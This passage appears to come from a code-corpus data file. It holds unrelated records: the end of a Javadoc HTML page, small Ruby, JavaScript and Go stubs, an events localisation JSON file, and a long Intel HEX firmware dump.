href=\"deprecated-list.html\">Deprecated</a></li>\n<li><a href=\"index-all.html\">Index</a></li>\n<li><a href=\"help-doc.html\">Help</a></li>\n</ul>\n</div>\n<div class=\"subNav\">\n<ul class=\"navList\">\n<li>Prev</li>\n<li>Next</li>\n</ul>\n<ul class=\"navList\">\n<li><a href=\"index.html?overview-tree.html\" target=\"_top\">Frames</a></li>\n<li><a href=\"overview-tree.html\" target=\"_top\">No&nbsp;Frames</a></li>\n</ul>\n<ul class=\"navList\" id=\"allclasses_navbar_bottom\">\n<li><a href=\"allclasses-noframe.html\">All&nbsp;Classes</a></li>\n</ul>\n<div>\n<script type=\"text/javascript\"><!--\n allClassesLink = document.getElementById(\"allclasses_navbar_bottom\");\n if(window==top) {\n allClassesLink.style.display = \"block\";\n }\n else {\n allClassesLink.style.display = \"none\";\n }\n //-->\n</script>\n</div>\n<a name=\"skip.navbar.bottom\">\n<!-- -->\n</a></div>\n<!-- ======== END OF BOTTOM NAVBAR ======= -->\n<p class=\"legalCopy\"><small>Copyright &#169; 2008&#x2013;2019 <a href=\"http://fasterxml.com/\">FasterXML</a>. All rights reserved.</small></p>\n</body>\n</html>\n"} {"text": "module ResourceAdmin\n class CollectionsController < ResourceAdmin::ApplicationController\n # To customize the behavior of this controller,\n # simply overwrite any of the RESTful actions. For example:\n #\n # def index\n # super\n # @resources = Collection.all.paginate(10, params[:page])\n # end\n\n # Define a custom finder by overriding the `find_resource` method:\n # def find_resource(param)\n # Collection.find_by!(slug: param)\n # end\n\n # See https://administrate-docs.herokuapp.com/customizing_controller_actions\n # for more information\n end\nend\n"} {"text": "/*\n * Copyright (c) 2015-2016 PointSource, LLC.\n * MIT Licensed\n */\nexports.findPets = function(req, res, next) {\n next();\n};\n"} {"text": "package main\nfunc main() {}\n"} {"text": "{\n\t\"events\": \"Events\",\n\t\"no-events\": \"There are no events\",\n\t\"control-panel\": \"Events Control Panel\",\n\t\"delete-events\": \"Delete Events\",\n\t\"filters\": \"Filters\",\n\t\"filters-apply\": \"Apply Filters\",\n\t\"filter-type\": \"Event Type\",\n\t\"filter-start\": \"Start Date\",\n\t\"filter-end\": \"End Date\",\n\t\"filter-perPage\": \"Per Page\"\n}"} {"text": ":020000042000DA\n:1000000000980020B9040020C1040020D904002079\n:1000100000000000000000000000000000000000E0\n:10002000000000000000000000000000F1040020BB\n:100030000000000000000000090500200B05002062\n:10004000FB390020653B00200D310300533B0020AD\n:10005000993A00208D310300873B00208F3B002020\n:100060000D0500200F340020FB3B0020AD310300C4\n:10007000578102009D2F00200D0500200D05002056\n:100080000D0500200D0500200D050020BD2B0020D2\n:10009000C72B0020D12B0020DB2B0020E52B0020DC\n:020000042000DA\n:1001600032000000C7050020091D0020853D002049\n:10017000000000000000000063800200BD8002005B\n:100180003B0F0020FB800200198102003581020034\n:100190005D81020001390020A1050020ED0E002044\n:1001A000090F002000000000000000003F000000D8\n:1001B000F48B002000040000740B080048010000CC\n:1001C0006807080000040000C80C080020050000B3\n:1001D000000000002000000048000000580000005F\n:1001E0006800000004010000160100002801000062\n:1001F0002E010000202A00008E2E000001000000C9\n:1002000088130000E91D0020E9600200FD93020050\n:100210001F17002019280300A5740200C135002013\n:1002200003000000D52002008D3D002004000000E6\n:10023000D74902000F490200831D020063910200AA\n:10024000B7910200BF910200078202007182020092\n:10025000DC550020AD83020093840200418502003A\n:1002600015860200378602005F860200758602004E\n:10027000F9870200258902005D8A0200D38C020002\n:10028000098D02000F900200438D0200278E0200AC\n:10029000F98E0200478F0200030E0020D58F020066\n:1002A00049510200775102002F5202001000000055\n:1002B00020030000803E000000000000000000005D\n:020000042000DA\n:1002C000504600030003983A6400F401B80B000C98\n:1002D000B80B120030003000CD009A01120024004B\n:1002E00030006400B0001800280012001200D0078F\n:1002F0000000FFFF00000000000000000000000000\n:100300001F000002444131343538302D30310000B7\n:1003100000000000000000000000000000000000DD\n:0403200000000000D9\n:020000042000DA\n:10034000FFFF010000C201000000000000000000EB\n:100350000000F4010100011B0A071AFF4C000215FE\n:10036000C72C49D7C1035F8A082214E7AE986E9F55\n:1003700000010003C5000000000009FF00605257A3\n:100380002D424C450000000000000000000000006D\n:100390000000000000000000000044413134353806\n:1003A00078000000000000000000000000000000D5\n:1003B000000000000000000000000000000000003D\n:1003C000000000000000000000000000000000002D\n:1003D00000000000000000000E4E38C5EAB4140012\n:0403E000064064323D\n:020000042000DA\n:100440000348854604F020FE00480047C72002000C\n:100450000098002010B50620134B188008200123B7\n:100460008340124C236000BF114880683E239843AC\n:100470002E300F4B9860002005231B07188018466C\n:10048000008A0F231B029843C01805231B071882FC\n:100490000122D204074902E0002001C2491E0029BE\n:1004A000FADA62B610BD00000034005080E100E0CE\n:1004B00000330050FF0B00001548804715480047E7\n:1004C00004207146084203D0EFF30980124908471F\n:1004D000EFF308801049084704207146084203D012\n:1004E000EFF309800D490847EFF308800B490847EF\n:1004F00004207146084203D0EFF3098008490847F9\n:10050000EFF3088006490847FEE7FEE7FEE7000034\n:100510005504002041040020E90A002025050020A0\n:10052000FF11002005210907498A8022914380316B\n:10053000052212075182184A016811604168516012\n:1005400081689160C168D16001691161416951613F\n:1005500081699161C169D161114608620F49896A57\n:1005600051620E49C96A91620C49096BD1620B490B\n:10057000C96B11630949496B51630849896B9163E0\n:1005800005210907898A20221140202901D100BEB6\n:1005900001E000BFFEE770470018080000ED00E032\n:1005A00010B5DF480021016000F025FC002001218A\n:1005B0008907096B49004908C207114301229207C4\n:1005C000116300BF10BD1CB50120D649087008207A\n:1005D000D549088004F06AFD01F0DAFCFF21013101\n:1005E0000D20800104F068FD03F006F800F006FB22\n:1005F000CE480078CD490870CD480078CC490870C5\n:10060000012004F05FFD01F0B7FA00F029FB04209F\n:1006100000F07FF9072000F07CF90A2000F079F95A\n:10062000062000F076F90B2000F073F9012000F0AD\n:1006300070F9022000F06DF9002000F06AF9BD4861\n:10064000006804F045FD00F0B9FD01F04EFA01200C\n:1006500080070068FF210131884340188905086040\n:1006600000F0A4FC00F07EF9B3480068AA2800D18D\n:1006700000BF00BF03F092FEFFF792FF00200521AC\n:100680000907C882AD484088E0218843A030AB49C3\n:100690004880012004F022FD3AE10520000700898E\n:1006A00080210840C01100282CD0C805006B090229\n:1006B0000840C00B002825D104F016FDC007C00F6C\n:1006C00000281FD1042004F015FD044604F018FD95\n:1006D000002C10D00020009097480068AA2800D174\n:1006E00000BF00BF0421684604F010FD002801D0BF\n:1006F00000F09AFB00BF00BF002000BF002800D020\n:1007000006E100BF00BF002000BF002800D0FFE0CE\n:1007100072B600BF00BF02F0C0FF019069460879C1\n:10072000042808D186480078012802D102200190CF\n:1007300001E00320019068460079022803D0684652\n:10074000007903287AD105200007008A0421884314\n:10075000001D0521090708827A48C069012817D9B8\n:1007600068460079032810D104F0D6FC00280CD08C\n:1007700004F0D8FC002808D0032004F0D9FC00289D\n:1007800003D002207049087010E0022001900DE0B3\n:1007900068460079032807D104F0CAFC002803D07A\n:1007A00001206949087001E00220019000BF00BFEC\n:1007B00068460079022803D068460079032857D19B\n:1007C0006248006904210843604908610520000768\n:1007D000408A202188430521090748820846008A6B\n:1007E00002218843801C0521090708826846007998\n:1007F00002280FD10846408A04218843001D0521A4\n:10080000090748820846408A1021884305210907C4\n:1008100048822DE005200007408A04218843001DFE\n:100820000521090748827F208001098880229143A1\n:100830008031052212071180002102E061E04A1C8C\n:10084000D1B20A29FBDB05210907498A102291430D\n:100850001031052212075182411E3D4A5161052186\n:10086000090709888022914305221207118000BFE1\n:1008700000203849087000BF00BF68460079022890\n:1008800003D068460079032830D12C484088FF21E6\n:1008900001318843294948800520000740882E49B6\n:1008A00008802648408840084000401C2349488072\n:1008B0000020009002E00098401C0090009814284E\n:1008C000F9DB05200007408980088000401C0521D5\n:1008D0000907488100BF05200007408940210840E2\n:1008E0000028F8D0002005210907488030BF69465C\n:1008F000087900BF1548006904218843134908613D\n:1009000004E068460079012800D130BF62B600BF1C\n:10091000C3E6C206D20E01219140104A1160704711\n:100920008C03080000800020003300500000080005\n:10093000202A080004900020088000202000005099\n:1009400054020800E0010020C406080000ED00E0A9\n:1009500000800040728000206E80002080E200E075\n:100960007047000058480078002804D157490870A3\n:100970005749C87002E080205649087070475248B5\n:100980000078002805D10120504908705049C870EE\n:1009900002E081204F49087070474B4800780028DA\n:1009A00006D102204949087001204949C87002E077\n:1009B000822048490870704700B5474800780028F1\n:1009C00004DD45480078401E4349087042480078DD\n:1009D000002800DD00BD3F480078002809D03D48D0\n:1009E00000788007800F3849087000203949087066\n:1009F00008E035480078002804D033480078401ECD\n:100A0000314908703048027800202F490870002AC8\n:100A100004D0012A03D0022A07D103E006E0FFF741\n:100A2000AEFF03E0FFF7B9FF00E000BF00BF00BF6B\n:100A3000D0E710B528480078401C274908702248A4\n:100A40000078002808D104F079FB0446601CC4B289\n:100A5000FFF788FF1C48047010BD01201F49087073\n:100A6000704700201D49087070471C480078704787\n:100A7000002100BF00BFEFF310800246012080F389\n:100A8000108800BF05200007008980231840C0118E\n:100A9000002807D11248008940084000401C104B34\n:100AA00018810121002A04D1002080F3108800BFA2\n:100AB00004E0012080F3108800BF00BF00BF08469B\n:100AC00070470848007870470180002054020800F1\n:100AD000C606080002800020038000200480002059\n:100AE000003300506C80002005210907098A042288\n:100AF0009143091D0522120711821146098A02221B\n:100B00009143891C0522120711821146098940224E\n:100B100091434031052212071181002101228A40B0\n:100B20001F4B1A6000BF08211E4A11805905498ACF\n:100B30008022914380315A0551821B4A016811611C\n:100B40004168516181689161C168D1610169116237\n:100B50004169516281699162C169D162114608633C\n:100B60001249896A51631149C96A91630F49096B36\n:100B7000D1630E49C96B0C4A403211600B49496B75\n:100B800051600A49896B91605905898A2022114078\n:100B9000202901D100BE01E000BFFEE77047000040\n:100BA00080E200E0003300504018080000ED00E053\n:100BB0002648C06A002802D00021C94300E0012174\n:100BC0002248C162C16AC817491840410A0C000492\n:100BD000104309041E4A13685268194310431C4A03\n:100BE00011605060704708B500200346FF220132B3\n:100BF00001210090084601F0B3FA08BD10B50520A8\n:100C00000007008A0221884305210907088200BFE6\n:100C100005200007808A082108400028F8D00D48E8\n:100C200040884901884340180A49488000F0F4FA96\n:100C3000FFF7D9FF03F052FE05200007408A20216C\n:100C40008843203005210907488210BD20900020EC\n:100C5000C0900020200000500020F9490860704733\n:100C600000B50520000700893021884305210907C8\n:100C700008810846008980218843803005210907C2\n:100C800008810846008980088000401C08810846C9\n:100C90000089082188430830052109070881E948AF\n:100CA0000088802188438030E649088005200007BD\n:100CB000408A08218843052109074882084600899F\n:100CC0004021884340300521090708810846008AF1\n:100CD0000421884305210907088200BF0520000779\n:100CE000808A022108400028F8D0FFF7B5FFD448D9\n:100CF0000068002800D100BF00BFD248008840082B\n:100D00004000401CCF49088008464089090108403E\n:100D10004012002807D0CB480088C90088434018FB\n:100D2000C849088006E0C7480088012109038843B4\n:100D3000C4490880C3480088782188432830C149C5\n:100D400008800846008806218843801DBD49088028\n:100D500005200007408A082188430830052109073B\n:100D60004882B848008880218843B6490880052019\n:100D70000007008940218843052109070881B148FF\n:100D800040890121490208404012002803D0052073\n:100D9000AC4960318880012080070068FF21013163\n:100DA000884389050860A84800683F2149028843B4\n:100DB000012149034018A449086008460068090356\n:100DC00088434018A049086000BD032109029F4ADA\n:100DD000918108215180002000E0401C9628FCD31E\n:100DE00008219A4A918070477047994909780029EB\n:100DF00000D000BF704710B5964C204604F0A4F90F\n:100E000010BD70B58F4840881E210840451004F081\n:100E1000A1F904468B4840881E2188436900084395\n:100E200088494880204670BDF8B50020009000BF7A\n:100E300001208949C86300BF00BF00BF00BF8648CA\n:100E4000C06B0028FAD100BF01208007C46900BF31\n:100E500082480068844202D20020804908600098DD\n:100E6000002812D0002000907C48046004F078F93B\n:100E70007B490880012004F079F904F07DF90646E9\n:100E8000002E01D101200090F8BD74480068201A9E\n:100E90001921C90188421FD37048046004F060F929\n:100EA00005466F4909888D4204DD6D480088281A7F\n:100EB00087B203E06A480088401B87B2182F0BDB1B\n:100EC00067480580012004F051F904F055F9064601\n:100ED000002E01D10120009000BFD5E708B50146E2\n:100EE000009808BD08B50146009808BD38B504460D\n:100EF00053480068002800D100BF00BF204604F01E\n:100F000041F90090009838BD38B504464C48006857\n:100F1000002800D100BF00BF204604F039F900903E\n:100F2000009838BD00BF4F494869C107C90F002963\n:100F300001D1012070470020FCE738B5012400BF33\n:100F400000BF48494869402101408909002907D06C\n:100F500000BF44494869202101404909002901D1C5\n:100F6000002414E000203F490861009002E000984E\n:100F7000401C0090FF215F3100988842F7D3FFF7B3\n:100F8000D1FF002802D104F009F9002400BF00BFFE\n:100F9000204638BD10B50246D3009633CC008234CB\n:100FA0001B1996331846FF30C33010BD1FB50024FF\n:100FB000684602F06EF9009C204604F083F81FBDDD\n:100FC00070B5002528480078002836D000BF0120E1\n:100FD0002149C86300BF00BF00BF00BF1E48C06BEF\n:100FE0000028FAD100BF01208007C46900BF1F4854\n:100FF0000068844201D201251EE000201A490870D1\n:1010000004F09CF8022803D004F098F8012812D1CB\n:1010100008201749088000BF05200007808A20218A\n:1010200008402028F8D005200007408A8021884306\n:10103000052109074882002500BF284670BD000031\n:1010400008800020200000500002004020300050A6\n:1010500010800020E2040000C00000407C04080072\n:10106000780408000010005000800020045B00207D\n:10107000003300500020704708B5254949884908C9\n:101080004900491C224A51800021009102E0009948\n:10109000491C009100991429F9DB052109074989A8\n:1010A00089088900491C05221207518100BF0521CA\n:1010B00009074989402211400029F8D00521090774\n:1010C000498904229143091D0522120751811146C5\n:1010D000488049890422914305221207518100BFAB\n:1010E00005210907898A802211400029F8D00521AD\n:1010F000090749898908890005221207518100BF23\n:10110000052109074989802211400029F8D008BD2E\n:1011100020000050FFB583B00D46687802902C780F\n:10112000002004F041F80746042F40D0002F3ED0A5\n:1011300037E000BF7248816E2E20604308180646D3\n:1011400030790007000F01900198030004F032F895\n:10115000070506081E091E071E0000BF00BF00BFCE\n:1011600000BF00BFB0883F210902014009120629D3\n:101170000CDA6878012805D1204604F021F8002017\n:1011800007B0F0BDB08807210843B0802146481C55\n:10119000C217520F1218D210D200821AD2B21446BD\n:1011A00000BF0298411EC9B202910028C1D1294650\n:1011B000069B059A039804F009F8E1E730B5514918\n:1011C0000B1F1A7800200AE0C300CB5C002B04D16F\n:1011D0004D4CC5004B4BEB185C60431CD8B29042A1\n:1011E000F2DB30BD30B5024693688C68181B80B2C4\n:1011F000464DA84201D9012030BD0020FCE782699C\n:10120000203A917F082904D28A00414B9A58826182\n:1012100001E000BFFEE7704710B53E483E49086157\n:101220003E4848613E4888613E48C8613E48086281\n:101230003E4848623E4888623E48C8623E4808636D\n:101240003E4848633E4888633E48C8633C485C303B\n:101250003149403108603C4848603C4888603C481F\n:10126000C860C016C206D20E01219140394A1160F1\n:1012700000BF002100F00BF80420C043C206D20ECC\n:1012800001219140334A803A116000BF10BD10B572\n:10129000002819DA304A03071B0F083B9B089B0004\n:1012A000D2588307DC0EFF23A3409A438B071B0E03\n:1012B0008407E40EA3401A43274B0407240F083C7D\n:1012C000A408A4001A511AE0224A803A03231B0200\n:1012D000D21883089B00D2588307DC0EFF23A3405B\n:1012E0009A438B071B0E8407E40EA3401A43194B45\n:1012F000803B032424021B198408A4001A5110BD4A\n:10130000D8020800080608002C570020307500009D\n:101310003C570020942703000084004062B600DFA1\n:1013200028A30200704701DF1CCA0200F8BD02DFDB\n:1013300040CB0200F5E703DF84D4020004DF89B06C\n:10134000BC330200F8BD05DFF8BD06DFEC0C03007E\n:1013500070BD07DF80E100E01CED00E070B51646CF\n:101360000D46104603F020FF002869D0340A3046AD\n:1013700003F01AFF012812D0A87A1E2811D029469E\n:101380000A310E2845D019DC801E030003F012FF3D\n:101390000B255829582D58315839583D58000220EE\n:1013A00070BD3146274803F017FF0021204603F0A7\n:1013B00019FF0221304603F01BFF41E018283CD002\n:1013C00006DC102819D012282BD0162838D130E08E\n:1013D000522822D0D22833D127E0204603F00EFF36\n:1013E0002EE0204603F010FF2AE0204603F012FF13\n:1013F00026E0204603F014FF22E0204603F016FF0B\n:101400001EE0204603F018FF1AE0204603F01AFF02\n:1014100016E0204603F01CFF12E0204603F01EFFFA\n:101420000EE0204603F020FF0AE0204603F022FFF2\n:1014300006E0204603F024FF02E0204603F026FFEA\n:10144000002070BD01280000F8B50D460646810059\n:101450002B48EA884458521C20686B89018F294F19\n:1014600051430091014640314A89C989511A8AB2D3\n:10147000991A89B2B94214D29A4212D0294603F07D\n:101480000BFF2D892049009803F00CFF2818801CC1\n:101490004034E0823002401C80B2042103F0A8FEF8\n:1014A000F8BD2821304603F003FFF8BDF8B5054626\n:1014B000870013480C46C059C9880068114E02467F\n:1014C00040325389D2899A1A92B28B1A9BB2B34294\n:1014D00011D20B4E8A420ED003F0F0FEF0590522D5\n:1014E0005F30611C03F0F0FE2802401C80B2052131\n:1014F00003F07EFEF8BD2821284603F0D9FEF8BD92\n:101500004C030800FF7F00001027000070B5044660\n:10151000007800250D2801D00A2200E002225A4955\n:101520004B7A002B06D00D2804D0637C032B01D00E\n:10153000432551E0097A8A4339D10D2809D00E2874\n:1015400002D00F2803D134E0607C032804D3402567\n:1015500042E0607C0328FAD8A07C0428F7D20A294C\n:1015600008D0607C012822D0022820D0607803288F\n:1015700009D811E003F0AEFE012806D160780328F7\n:1015800003D0002801D0492526E003F0A3FE00285F\n:1015900002D160780228F6D83020035D224620462A\n:1015A000E17C3132143000F019F8054614E0422590\n:1015B00012E003F08FFE012807D16078052804D1DE\n:1015C000A01D03F08DFE0028DDD003F083FE00286F\n:1015D00002D160780228D6D8284670BDFFB5002019\n:1015E00086B001216A461170044605910021002C45\n:1015F00006D0089D099A1F239A4234D9402032E030\n:101600001C23069D079AF7E76B185E78330003F0FA\n:10161000D1FD1D26101010101010101010262626B7\n:1016200026262626262626262626101010101010DE\n:101630002600059B03E06F46FF5CB74204D05B1EAB\n:101640005BB2002BF7DA03E0002B01DB4A2006E057\n:10165000059B6F46FE54059B5B1CDBB205936B5CE0\n:10166000491C5918C9B2914201D20028CCD09142EC\n:1016700002D04A200AB0F0BD641CE4B2022CF9D2B8\n:101680000028B3D0F6E700009805080070B5EFF326\n:101690001085012080F31088264803F027FE0446B9\n:1016A000002D1DD0012080F31088002C23D020466F\n:1016B0002038C08B204988421DD16189208903F0E0\n:1016C0001BFE05000ED021461031A38962892089B6\n:1016D000A847002806D001280DD002280BD105E02C\n:1016E0000020E0E7204603F00DFE04E0114821460B\n:1016F0000C3003F00DFEEFF31084012080F310880E\n:101700000C480068002802D1012003F007FE002CDD\n:1017100003D0012080F3108870BD0020FAE710B5D7\n:10172000BC21064803F000FE0549012003F002FE3B\n:1017300010BD0000A805080038830000040608005A\n:101740008D160020F3B581B001980C460102CA1D28\n:101750000E310223344803F0F3FD0470019905466D\n:10176000022732488E00002C06D0042C16D0062CFE\n:1017700010D0072C3FD108E0815905224968897CA7\n:10178000114069708059C77335E0084603F0DEFDEB\n:10179000687030E080590F21C1732CE004468059F5\n:1017A0004068417C012902D1007E01280FD00198B8\n:1017B00003F0D2FD01210028A0590BD04268D07D52\n:1017C00000281CD001281AD004280DD00FE00020DA\n:1017D00068700DE04068C27D022A01D0042A06D15B\n:1017E000007C02280BD102E0107C022807D06F7029\n:1017F000A1590320C873284603F0B4FDFEBD6970EB\n:10180000F6E701460A780120042A01D90020704732\n:101810004A78002A01D0012AF8D10A79082AF5D895\n:1018200049790829F2D87047021C000028050800F1\n:10183000FFB589B00D4600206946059008720B98E7\n:10184000000A009003F088FD07460B9803F0ACFCFB\n:1018500000287DD00B982978000A8400784E012951\n:1018600063D0042904D0062948D0072968D125E08F\n:101870003059C17B032901D0042961D1697800293D\n:101880001AD040681022A91C03F01EFD002F06D0BC\n:101890003159C87B032807D0042808D050E03059BC\n:1018A000C07B032803D04BE00B20C87348E0052120\n:1018B000009803F05DFD43E00120B6E03059C07BA5\n:1018C0000E283DD1009803F041FD002103E02A18C5\n:1018D000401C9170C0B21028F9D3688A6946088309\n:1018E000294606A808221431023003F0EDFC06ABAD\n:1018F000AA1C3946009803F041FD21E03059C07B15\n:101900000F281DD1AA1C0A21009803F03DFD002FCD\n:1019100004D03946009803F03DFD11E000231A463B\n:101920003946009803F03CFD0AE0012F08D10B98DE\n:1019300003F03AFC01281CD0002801D002200590B9\n:101940006846007A002811D002AA0521009800E01C\n:101950000CE003F019FD6846027A602002436846F5\n:10196000027201233946009803F01AFD05980DB064\n:10197000F0BD3059C07B0228E2D16878002851D0F0\n:1019800002210B9803F034FC305907224068A91C4F\n:10199000173003F099FCE878002804D130594068EA\n:1019A000407C01283AD0009803F000FD002837D091\n:1019B000297A009803F000FD002833D0009803F046\n:1019C00001FD0121009803F003FD00282CD03059BF\n:1019D0004068417E00292BD0042929D0C17E027D98\n:1019E0001140C17630594068017F427D1140017736\n:1019F0006846007A0028A7D1305902214268009831\n:101A0000173203F0C1FC305941684031897B00290D\n:101A100013D004210098FFF795FE91E7022004E01F\n:101A2000062002E0082000E00320694608728BE7E8\n:101A30000021C17630594068D9E70B21C1737FE797\n:101A40002805080010B50C4603F0C8FC21888A0060\n:101A50002F4989580968002902D02E4BC96899502E\n:101A600010BD10B5144603F0BFFC210A8A002849B6\n:101A700089580968002902D0264BC968995010BDC1\n:101A8000FFB50F461546110A214A8800125881B049\n:101A900012681E46002A01D0D46803E01D4A0023C4\n:101AA00014581350002C18D0201F42881A4B9A4209\n:101AB00013D10088602810D12046403002898A4224\n:101AC0000BD18088002808D0A068002802D02046CA\n:101AD00003F090FC204603F093FC33462A46394637\n:101AE000019803F093FC05B0F0BD70B50B48037886\n:101AF000021D00210A4D07E0CC00165D012E01D128\n:101B00002418A560491CC9B29942F5D370BD0000E4\n:101B10004C0308001C8000203883000004060800E5\n:101B20005459002013494988072252029143420226\n:101B30001143104A5180704705200007008830216A\n:101B4000884330300521090708800846008880084E\n:101B50008000C01C088070470520000700883021E5\n:101B6000884305210907088008460088800880000E\n:101B70000880704780000050D949DA48CA051288A9\n:101B800080239A438032CB051A8000BFD64A5289FF\n:101B900008231A40082A03D00A46491E002AF5D114\n:101BA0000122D24B1A600288D14B1A80801C028815\n:101BB000D04B1A8005221207128880239A430523EE\n:101BC0001B071A8070470146002070477047704716\n:101BD000704702460020704700BF01218907096B4A\n:101BE000062211430122084610439107086300BFF3\n:101BF00070477047C0480078704700B5BF48C0497B\n:101C000008604C20BF490880BF48BE49203908827F\n:101C1000BE48BF494880BF48BF490880BD48193009\n:101C2000488022204881812080000882BB48488269\n:101C3000BB480883B94811304883BA48B6492031B7\n:101C4000888041200001B8498880B848C880B748DA\n:101C50001030C881B54808824882801C8882B34809\n:101C60000B30C882FF2046300883B1484883592092\n:101C7000B0490880B048AF492031088043204880EF\n:101C8000AE48AC494882D520AA4920318880FF203F\n:101C9000D3300881AA484881AA488881AA48AB491C\n:101CA0000880AB489749603948800846C0881021B1\n:101CB0008843103093496039C8809F480A380881AA\n:101CC000A4489049403948808F488E49203948823D\n:101CD00008208C49603948818648008895494039F8\n:101CE0000882834800889C490880FFF783FF00280A\n:101CF00002D030208849088300BD01460A46C80F3B\n:101D00008018C005000E7047F0B58DB00446002560\n:101D10000026924860629248A062924860619248B0\n:101D2000E062924820609248206292486060924847\n:101D3000E0617F21090628468843072109064518E6\n:101D40000F21090228468843052109024518FF2171\n:101D5000090428468843152189044518280A0002E9\n:101D600005464C356648056065484038006B0121E2\n:101D7000890588436249403908630846406B1F2142\n:101D8000090488430321090440185D494039486328\n:101D90007A480068C9128843784908600846006894\n:101DA000091388437549086003E003A88655701C31\n:101DB000C6B2282EF9DB03A8202701902820029024\n:101DC000B8033818029A019903F07EFA00BFFFF7B2\n:101DD00014FF03F0C5F96A490880002003F0C6F932\n:101DE00003F0CAF90DB0F0BD70B500247F210906DB\n:101DF000204688430721090644180F21090220467E\n:101E00008843052109024418FF210904204688431C\n:101E1000152189044418200A000204464C3438482D\n:101E2000046037484038406B1F2109048843032170\n:101E30000904401832494039486308060068C00860\n:101E4000C00009060860052000070089800880009E\n:101E5000401C05210907088108460089082188439C\n:101E600008300521090708810846008A0F21090268\n:101E70008843401805210907088242480068002865\n:101E800000D100BF00BF1848408901214902084025\n:101E90004012002806D01448008878218843083072\n:101EA00011490880FFF7A9FE3748056F28780028F8\n:101EB00004D03648008813496039C880012003F0F7\n:101EC0000DF970BD01200C490870302012490883BB\n:101ED000704700200849087011480F49088370476F\n:101EE000A0860100087F0400200000500080004010\n:101EF000560208004A030800348000204C055407AD\n:101F000080000040602C00507F7F0000AC29000062\n:101F100000220050090900000024005022040000A3\n:101F200030D00000EE110000002500502E0200000D\n:101F300044200000402800500D950000024200009F\n:101F4000E4DC00001092000053780000002A0050EA\n:101F50008B1000009DD5000000260050C71B0020FC\n:101F6000CD1B0020D31B0020D91B0020CF1B00203D\n:101F7000F31B0020D11B0020FB1C002000020040AE\n:101F80007804080008800020E001002052040800C6\n:101F9000F0B585B000240CE0002507E000212820E2\n:101FA0006043FA4A8018AA0081506D1C0A2DF5DBA7\n:101FB000641C042CF0DBFEF7FBFD0021F44A1160E9\n:101FC0005160002442E000253CE00120A84080B29E\n:101FD00002906000EF49085A02990840002800D199\n:101FE00032E028206043E9494018A9004058401CCD\n:101FF000002803D10194009500BE00BF2820604353\n:10200000E2494018A9004058002800D119E02820D2\n:102010006043DE494018A9004658F7172A46304663\n:10202000394603F0F9F922010391049003F0F4F921\n:10203000D74B1A685B6810431943D54A106051604A\n:1020400000BF6D1C0A2DC0DB00BF641C042CBADB72\n:1020500005B0F0BDFFB585B004460D462A46012601\n:1020600000273046394603F0D7F922010391049046\n:1020700003F0D2F9C64B1A685B6810401940002380\n:1020800058405940084300D100BE032C00D104241D\n:102090006001C1494018029069000298801D08182B\n:1020A00001900899079801430198018009B0F0BD9B\n:1020B000F0B585B004460D462A4601260027304675\n:1020C000394603F0A9F922010291039003F0A4F923\n:1020D000AF4B1A685B6810401940002358405940C4\n:1020E000084300D100BE032C00D104246001AA499A\n:1020F000401801900198001D00900120A84081B275\n:102100000098018005B0F0BDF0B585B004460D46DD\n:102110002A46012600273046394603F07DF9220180\n:102120000291039003F078F9994B1A685B681040AC\n:102130001940002358405940084300D100BE032CE9\n:1021400000D1042460019449401801900198801C3A\n:1021500000900120A84081B20098018005B0F0BD38\n:10216000FFB583B006460F463A46012400252046B7\n:10217000294603F051F932010191029003F04CF924\n:10218000834B1A685B68104019400023584059403F\n:10219000084300D100BE0C98002804D039463046D0\n:1021A000FFF7B2FF03E039463046FFF781FF3946BB\n:1021B0003046069B059AFFF74DFF07B0F0BDF7B517\n:1021C00086B0044601270020079A059038460599F5\n:1021D00003F022F922010391049003F01DF96C4BE6\n:1021E0001A685B6810401940002358405940084362\n:1021F00000D100BE002C01D1002000E0601E029042\n:1022000002984000644970314518012C02D10798AA\n:10221000083000E00798C6B200200190288801909D\n:102220000121B1400198884301900898B04001997C\n:10223000084301900198288009B0F0BDFEB504461E\n:102240000D462A46012600273046394603F0E4F8B9\n:1022500022010191029003F0DFF84D4B1A685B6890\n:1022600010401940002358405940084300D100BE97\n:10227000032C00D1042460014749401800900098C5\n:1022800000880121A9400840002801D00120FEBD9E\n:102290000020FCE7FFB585B005460E4614463246E1\n:1022A0000127002004903846049903F0B5F82A016C\n:1022B0000291039003F0B0F8354B1A685B68104048\n:1022C0001940002358405940084300D100BE33A0B4\n:1022D00000680190324880892246133AFF2101317B\n:1022E000914088430F99002901DD012200E000227E\n:1022F00021461339FF2301338B40D907C90F002929\n:1023000001D00021AEE02346133BFF21013199406B\n:1023100002231940002901D00121A3E02346133BE9\n:10232000FF210131994004231940002901D00221E5\n:1023300098E02346133BFF210131994008231940BF\n:10234000002901D003218DE02346133BFF210131F9\n:10235000994010231940002901D0042182E023462E\n:10236000133BFF210131994020231940002901D05E\n:10237000052177E02346133BFF210131994040239B\n:10238000194000290ED006216CE0000020900020AA\n:10239000C0900020645900200030005001090F193E\n:1023A000001400502346133BFF2101319940802344\n:1023B0001940002901D0072154E02346133BFF2197\n:1023C00001319940FF2301331940002901D0082130\n:1023D00048E02346133BFF210131994001235B0272\n:1023E0001940002901D009213CE02346133BFF217D\n:1023F0000131994001239B021940002901D00A2193\n:1024000030E02346133BFF21013199400123DB02D9\n:102410001940002901D00B2124E02346133BFF2162\n:102420000131994001231B031940002901D00C21DF\n:1024300018E02346133BFF210131994001235B0340\n:102440001940002901D00D210CE02346133BFF2148\n:102450000131994001239B031940002901D00E212D\n:1024600000E00F218A401043FB498881084680899B\n:10247000800980010F990843F74988810846008A3E\n:102480002246133AFF210131914088431146FF2231\n:1024900001328A40D107C90F002901D00022A1E0F2\n:1024A0002246133AFF2101319140022211400029B6\n:1024B00001D0012296E02246133AFF2101319140DA\n:1024C00004221140002901D002228BE02246133A57\n:1024D000FF210131914008221140002901D003223F\n:1024E00080E02246133AFF21013191401022114031\n:1024F000002901D0042275E02246133AFF21013160\n:10250000914020221140002901D005226AE0224694\n:10251000133AFF210131914040221140002901D09E\n:1025200006225FE02246133AFF21013191408022CA\n:102530001140002901D0072254E02246133AFF211E\n:1025400001319140FF2201321140002901D00822BF\n:1025500048E02246133AFF21013191400122520204\n:102560001140002901D009223CE02246133AFF2104\n:1025700001319140012292021140002901D00A222A\n:1025800030E02246133AFF21013191400122D2026C\n:102590001140002901D00B2224E02246133AFF21EA\n:1025A00001319140012212031140002901D00C2277\n:1025B00018E02246133AFF210131914001225203D3\n:1025C0001140002901D00D220CE02246133AFF21D0\n:1025D00001319140012292031140002901D00E22C5\n:1025E00000E00F220E99914008439B49088208465B\n:1025F000008A2246133A0121914088431146012264\n:102600008A40D107C90F002901D0002293E0224659\n